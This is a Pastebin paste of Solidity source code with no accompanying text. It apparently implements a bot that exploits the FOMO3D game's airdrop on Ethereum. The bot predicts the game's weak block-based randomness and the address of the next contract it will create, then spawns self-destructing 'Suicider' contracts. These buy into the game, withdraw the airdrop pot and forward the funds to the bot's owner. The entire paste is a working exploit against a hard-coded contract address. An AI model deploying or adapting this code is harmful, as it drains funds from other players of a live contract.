Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- pragma solidity ^0.4.23;
- contract Empty {
- }
- contract NewBotOwner {
- function addLeaf(address leaf) public;
- }
- contract Suicider {
- constructor(address parent) payable {
- FOMO3D(0xA62142888ABa8370742bE823c1782D17A0389Da1).buyXaddr.value(msg.value)(tx.origin, 2);
- FOMO3D(0xA62142888ABa8370742bE823c1782D17A0389Da1).withdraw();
- suicide(parent);
- }
- }
- contract Attacker {
- uint16 public nonce = 1;
- address internal parent;
- Suicider public suicider;
- modifier onlyParent {
- require(msg.sender == parent);
- _;
- }
- constructor (address parent_) public {
- parent = parent_;
- }
- function spawnEmpty() onlyParent public {
- new Empty();
- nonce++;
- }
- function spawnSuicider() onlyParent public payable {
- suicider = (new Suicider).value(msg.value)(parent);
- nonce++;
- }
- function changeParent(address newParent) onlyParent public {
- parent = newParent;
- }
- }
- interface FOMO3D{
- function airDropPot_() public returns (uint);
- function airDropTracker_() public returns (uint);
- function withdraw() public payable;
- function buyXaddr(address _affCode, uint256 _team) public payable;
- }
- contract Bot {
- using SafeMath for uint;
- address internal owner;
- modifier onlyOwner {
- require(msg.sender == owner);
- _;
- }
- FOMO3D fomo3d = FOMO3D(0xA62142888ABa8370742bE823c1782D17A0389Da1);
- Attacker[] leafs;
- function numberOfLeaves() public view returns (uint) {
- return leafs.length;
- }
- constructor() public payable {
- require(msg.value >= 0.1 ether);
- owner = msg.sender;
- }
- function spawnLeafs(uint numLeaves) public onlyOwner {
- for (uint i = 0; i < numLeaves; i++) {
- leafs.push(new Attacker(address(this)));
- }
- }
- function checkForWinner() public onlyOwner {
- require(fomo3d.airDropPot_() > 0.4 ether);
- uint chance = fomo3d.airDropTracker_();
- for (uint i = 0; i < leafs.length; i++) {
- address addr = address(leafs[i]);
- uint nonce = leafs[i].nonce();
- address spawnAddr = getNextContractAddr(addr, nonce);
- if (getRNG(spawnAddr, chance)) {
- Attacker(addr).spawnSuicider.value(0.1 ether)();
- return;
- }
- }
- for (i = 0; i < leafs.length; i++) {
- addr = address(leafs[i]);
- nonce = leafs[i].nonce() + 1;
- spawnAddr = getNextContractAddr(addr, nonce);
- if (getRNG(spawnAddr, chance)) {
- Attacker(addr).spawnEmpty();
- Attacker(addr).spawnSuicider.value(0.1 ether)();
- return;
- }
- }
- revert();
- }
- function () payable public{
- }
- function getNextContractAddr(address addressInput, uint nonceiput) internal pure returns (address){
- return address(keccak256(0xd6, 0x94, addressInput, uint8(nonceiput)));
- }
- function getRNG(address WHAT, uint adt) internal view returns (bool){
- uint256 seed = uint256(keccak256(abi.encodePacked(
- (block.timestamp).add
- (block.difficulty).add
- ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
- (block.gaslimit).add
- ((uint256(keccak256(abi.encodePacked(WHAT)))) / (now)).add
- (block.number)
- )));
- if ((seed - ((seed / 1000) * 1000)) < adt)
- return (true);
- else
- return (false);
- }
- function migrate(address newOwner) public onlyOwner {
- for (uint i = 0; i < leafs.length; i++) {
- address leafAddr = address(leafs[i]);
- Attacker(leafAddr).changeParent(newOwner);
- NewBotOwner(newOwner).addLeaf(leafAddr);
- }
- }
- function withdraw() public onlyOwner {
- owner.transfer(address(this).balance - 0.1 ether);
- }
- }
- library SafeMath {
- function add(uint256 a, uint256 b)
- internal
- pure
- returns (uint256 c)
- {
- c = a + b;
- require(c >= a, "SafeMath add failed");
- return c;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement